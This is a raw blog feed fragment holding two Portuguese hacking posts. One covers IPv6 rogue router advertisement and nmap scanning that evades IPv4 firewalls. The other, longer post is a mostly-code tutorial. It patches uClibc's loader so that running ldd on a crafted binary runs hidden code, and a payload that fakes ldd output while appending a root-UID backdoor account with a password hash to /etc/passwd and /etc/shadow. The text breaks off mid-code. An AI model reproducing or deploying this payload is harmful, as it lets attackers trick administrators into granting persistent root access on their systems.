border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; margin-bottom: 0cm; padding-bottom: 0.07cm; padding-left: 0cm; padding-right: 0cm; padding-top: 0cm;"&gt;&lt;b&gt;&lt;span style="font-family: TlwgMono;"&gt;&lt;span style="background-color: white; font-size: x-small;"&gt;/etc/init.d/radvd start&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;Agora estamos configurados como router Ipv6 da rede local e qualquer pedido de neighbor dicovery  enviaremos um endereço IP na rede 2001:db8:f0ca::/64   &lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;Monitorando:&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;Agora vamos ver o tráfego da interface para ver se alguem já fez alguma requisição:&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="border-color: -moz-use-text-color -moz-use-text-color rgb(0, 0, 0); border-style: none none solid; border-width: medium medium 1px; margin-bottom: 0cm; padding: 0cm 0cm 0.07cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="border-bottom-style: solid; border-bottom-width: 1px; border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; margin-bottom: 0cm; padding-bottom: 0.07cm; padding-left: 0cm; padding-right: 0cm; padding-top: 0cm;"&gt;&lt;b&gt;&lt;span style="font-family: TlwgMono;"&gt;&lt;span style="background-color: white; font-size: x-small;"&gt;tcpdump -i eth2 -vv ip6 and not net fe80::/64&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;Opa achamos:&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="border-color: -moz-use-text-color -moz-use-text-color rgb(0, 0, 0); border-style: none none solid; border-width: medium medium 1px; margin-bottom: 0cm; padding: 0cm 0cm 0.07cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span style="font-family: TlwgMono;"&gt;&lt;span style="background-color: white; font-size: x-small;"&gt;&lt;b&gt;IP6 (hlim 255, next-header ICMPv6 (58) payload length: 24) :: &lt;/b&gt;&amp;gt; &lt;b&gt;ff02::1:ffec:45cd&lt;/b&gt;: &lt;b&gt;[icmp6 sum ok] ICMP6, neighbor solicitation, length 24, who has&lt;/b&gt; &lt;b&gt;fe80::20c:29ff:feec:45cd &lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="border-color: -moz-use-text-color -moz-use-text-color rgb(0, 0, 0); border-style: none none solid; border-width: medium medium 1px; margin-bottom: 0cm; padding: 0cm 0cm 0.07cm;"&gt;&lt;span style="font-family: TlwgMono;"&gt;&lt;span style="background-color: white; font-size: x-small;"&gt;IP6 (hlim 255, next-header ICMPv6 (58) payload length: 24) :: &amp;gt; ff02::1:ffec:45cd: [icmp6 sum ok] ICMP6, neighbor solicitation, length 24, who has &lt;b&gt;2001:db8:f0ca:0:20c:29ff:feec:45cd&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span style="font-family: TlwgMono;"&gt;&lt;span style="background-color: white; font-size: x-small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="font-size: small;"&gt;Vemos que primeiro vem uma requisição ICMPv6 como “router solicitation” através do endereço de link local “fe80::/64” depois vemos o ip fornecido para a rede que configuramos “2001:db8:f0ca::/64” &lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="background-color: white; font-size: small;"&gt;Obs.: o IP da rede ff02:: no Ipv6 é utilizado para multicast.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="background-color: white; font-size: small;"&gt;Vamos pingar o ip “2001:bd8:f0ca:0:20c:29ff:feec:45cd”&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="border-color: -moz-use-text-color -moz-use-text-color rgb(0, 0, 0); border-style: none none solid; border-width: medium medium 1px; margin-bottom: 0cm; padding: 0cm 0cm 0.07cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="border-color: -moz-use-text-color -moz-use-text-color rgb(0, 0, 0); border-style: none none solid; border-width: medium medium 1px; margin-bottom: 0cm; padding: 0cm 0cm 0.07cm;"&gt;&lt;span style="font-family: TlwgMono;"&gt;&lt;span style="background-color: white; font-size: x-small;"&gt;ping6 -I eth2  2001:bd8:f0ca:0:20c:29ff:feec:45cd&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="background-color: white; font-size: small;"&gt;Com o ping OK podemos começar o teste de invasão como o nmap ;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="border-color: -moz-use-text-color -moz-use-text-color rgb(0, 0, 0); border-style: none none solid; border-width: medium medium 1px; margin-bottom: 0cm; padding: 0cm 0cm 0.07cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="border-color: -moz-use-text-color -moz-use-text-color rgb(0, 0, 0); border-style: none none solid; border-width: medium medium 1px; margin-bottom: 0cm; padding: 0cm 0cm 0.07cm;"&gt;&lt;span style="font-family: TlwgMono;"&gt;&lt;span style="background-color: white; font-size: x-small;"&gt;nmap -e eth2 -6  2001:bd8:f0ca:0:20c:29ff:feec:45cd&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="background-color: white; font-size: small;"&gt;O interessante é que caso haja um firewall/IDS em Ipv4 na maquina de destino nossos testes não vão gerar nenhum alerta.. ;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="background-color: white; font-size: small;"&gt;Aguardem mais posts sobre IPv6.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="background-color: white; font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="background-color: white; font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span style="font-family: 'Times New Roman', serif;"&gt;&lt;span style="background-color: white; font-size: small;"&gt;By CleBeeR&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-5510225205437959172?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/5510225205437959172/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=5510225205437959172&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/5510225205437959172'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/5510225205437959172'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2010/06/hacking-with-ipv6.html' title='Hacking with Ipv6'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_zPY0AjwymTU/TCIbd83oA3I/AAAAAAAAA38/EJbM9Ax2aWs/s72-c/route+advertisement-IPv6.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-6448141074510218581</id><published>2010-05-31T11:56:00.000-07:00</published><updated>2010-05-31T12:18:08.087-07:00</updated><title type='text'>Engenharia "tecno-social"</title><content type='html'>Engenharia social é um dos temas mais abordados no meio de segurança da informação, isso talvez por não exigir nenhum skill técnico. &lt;br /&gt;Hoje em dia é muito fácil achar esse tipo de ataque, desde gangues que se utilizam de engenharia social para roubar aposentadoria de velhinhos desinformados, de usuários desatentos que clicam em qualquer link que encontram por ae ou no caso que vou tentar demonstrar aqui utilizando a ingenuidade de muitos admins de rede.&lt;br /&gt;Um exemplo claro da ingenuidade de muitos admins é demonstrada na palestra do&lt;a href="http://g0thacked.wordpress.com/"&gt; Bruno Gonçalves&lt;/a&gt; na ultima H2HC sobre engenharia social.&lt;br /&gt;Agora vamos ao que interessa =p &lt;br /&gt;&lt;br /&gt;Ha um tempo atrás (quando percebi que o ldd não passava de um enorme shellscript..rsrs) desconfiei que o ldd poderia permitir a execução de código porem isso dependeria de gerar uma glibc alterada para que o ld-linux.so setar a variável de ambiente "LD_TRACE_LOADED_OBJECTS" dai conseguir executar o programa quando chama-lo com o ldd o problema aqui é que não podemos simplesmente adicionar uma glib nova no server que queremos atacar então o que faremos? vamos compilar um programa com outro loader e simplesmente enviar a lib alterada junto com ele ;) &lt;br /&gt;&lt;br /&gt;Como?&lt;br /&gt;&lt;br /&gt;Vamos baixar a biblioteca C&amp;nbsp; "uClib" (http://www.uclibc.org/) e configura-la da seguinte forma:&lt;br /&gt;&lt;br /&gt;Crie um diretório onde deseja fazer os testes (Ex.: /home/usuario/teste ), baixe a uClib em http://www.uclibc.org/downloads/uClibc-0.9.30.1.tar.bz2&lt;br /&gt;&lt;br /&gt;Descompacte, entre no diretório criado (uClibc-0.9.30.1) e execute o comando "make menuconfig" para selecionar o tipo de arquitetura do sistema do sistema (na maioria dos casos usa-se a i386),&lt;br /&gt;Salve e saia, depois altere o arquivo .config e configure o diretório de destino da instalação para o diretório que você criou (/home/usuario/teste no nosso exemplo)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;---&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;# Mudar de&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;RUNTIME_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;DEVEL_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/usr/"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;# Para&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;RUNTIME_PREFIX="/home/usuario/teste/uclibc/"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;DEVEL_PREFIX="/home/usuario/teste/uclibc/usr/"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;---&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Agora precisamos comentar da linha 406 até a linha 410 no arquivo "ldso/ldso/ldso.c"&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;---&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;/*&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; trace_loaded_objects++;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;---&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Agora basta o clássico "$make &amp;amp;&amp;amp; make install" para compilar e instalar nossa lib alterar no diretório "/home/usuario/teste" =D&lt;br /&gt;Dai podemos criar um executável e "linka-lo" a essa lib, desta forma sempre que o ldd chama-lo ele executará o código que quisermos.. 8-]&lt;br /&gt;&lt;br /&gt;Vamos ao primeiro código de teste:&lt;br /&gt;Crie um arquivo "ldd-world.c" com o conteúdo abaixo&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;-- &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;#include &lt;stdio.h&gt;&lt;/stdio.h&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;#include &lt;stdlib.h&gt;&lt;/stdlib.h&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;int main() {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; if (getenv("LD_TRACE_LOADED_OBJECTS")) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("Executando comando via ldd\n");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; else {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("Alo Mundo!!!\n");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;--&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O código acima é bem básico e ele checa se a variável LD_TRACE_LOADED_OBJECTS esta setada (o que significa que ele esta sendo chamado através do ldd), se ela estiver setada ele exibe a &lt;br /&gt;mensagem "Executando comando via ldd" caso contrário ele exibe a famosa mensagem "Alo Mundo". &lt;br /&gt;Agora vamos compila-lo, essa parte não basta executar o velho "gcc -o" pois precisamos lincar esse código a nossa uClib preparada anteriormente, então para compilar usaremos o seguinte comando:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;---&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ UCDIR=/home/usuario/teste/uclibc&lt;br /&gt;&lt;br /&gt;$ gcc -Wl,--dynamic-linker,$UCDIR/lib/ld-uClibc.so.0 -Wl,-rpath-link,$UCDIR/lib -nostdlib ldd-world.c -o ldd-world $UCDIR/usr/lib/crt*.o -L$UCDIR/usr/lib/ -lc&lt;br /&gt;---&lt;/div&gt;&lt;br /&gt;Explicando:&lt;br /&gt;-Wl,--dynamic-linker,$UCDIR/lib/ld-uClibc.so.0 --&amp;gt; Configura o novo loader (repare que não deve ser o ld-linux.so)&lt;br /&gt;&lt;br /&gt;-Wl,-rpath-link,$UCDIR/lib &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; --&amp;gt; Configura o diretório onde o loader irá procurar suas dependencias&lt;br /&gt;&lt;br /&gt;-nostdlib&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; --&amp;gt; Usado para que o programa não utilize bibliotecas do sistema&lt;br /&gt;&lt;br /&gt;ldd-world.c -o ldd-world &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; --&amp;gt; Compila o ldd-world.c criando o executavel ldd-world&lt;br /&gt;&lt;br /&gt;$UCDIR/usr/lib/crt*.o&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; --&amp;gt; Link estático para o código em tempo de execução&lt;br /&gt;&lt;br /&gt;-L$UCDIR/usr/lib/&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; --&amp;gt; Diretório onde o programa deve progurar a libc&lt;br /&gt;&lt;br /&gt;-lc &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; --&amp;gt; link com a biblioteca C&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Agora vamos ao teste.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;---&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;$ ./ldd-world &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;Alo Mundo!!!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;---&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Até aqui OK como não chamamos ele com ldd a variarel LD_TRACE_LOADED_OBJECTS não foi setada e o programa não faz nada. Agora vamos chamar o programa com o ldd&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;--&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;$ ldd ldd-world&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;Executando comando via ldd&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;--&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Aeeee OWNED !1!!!!1 :p&lt;br /&gt;&lt;br /&gt;Abaixo segue um código mais trabalhado que adiciona o usuário "own" com a senha "owned" no sistema caso o ldd seja executado pelo root.... =P&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;---&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;/* Não rode este código na sua máquina local.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;aconselho o uso de máquinas virtuais para testes*/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;#include &lt;stdio.h&gt;&lt;/stdio.h&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;#include &lt;stdlib.h&gt;&lt;/stdlib.h&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;#include &lt;unistd.h&gt;&lt;/unistd.h&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;#include &lt;sys types.h=""&gt;&lt;/sys&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;void pretend_as_ldd()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("\tlinux-gate.so.1 =&amp;gt;&amp;nbsp; (0xffffe000)\n");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("\tlibat.so.0 =&amp;gt; not found\n");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("\tlibc.so.6 =&amp;gt; /lib/libc.so.6 (0xb7ec3000)\n");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("\t/lib/ld-linux.so.2 (0xb8017000)\n");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;void passwd_file()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; FILE * pFile;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; pFile = fopen ("/etc/passwd","a+");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf (pFile, "own:x:0:0::/root/:/bin/sh\n");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; fclose (pFile);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; pFile = fopen ("/etc/shadow","a+");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf (pFile, "own:$1$gK1UdW1V$NSlmLeLSns7q0hDPDhkvY0:::::::\n");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; fclose (pFile);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;void malicious()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (geteuid() == 0) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; passwd_file(); &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;int main(int argc, char **argv)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (getenv("LD_TRACE_LOADED_OBJECTS")) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; malicious();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pretend_as_ldd();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, 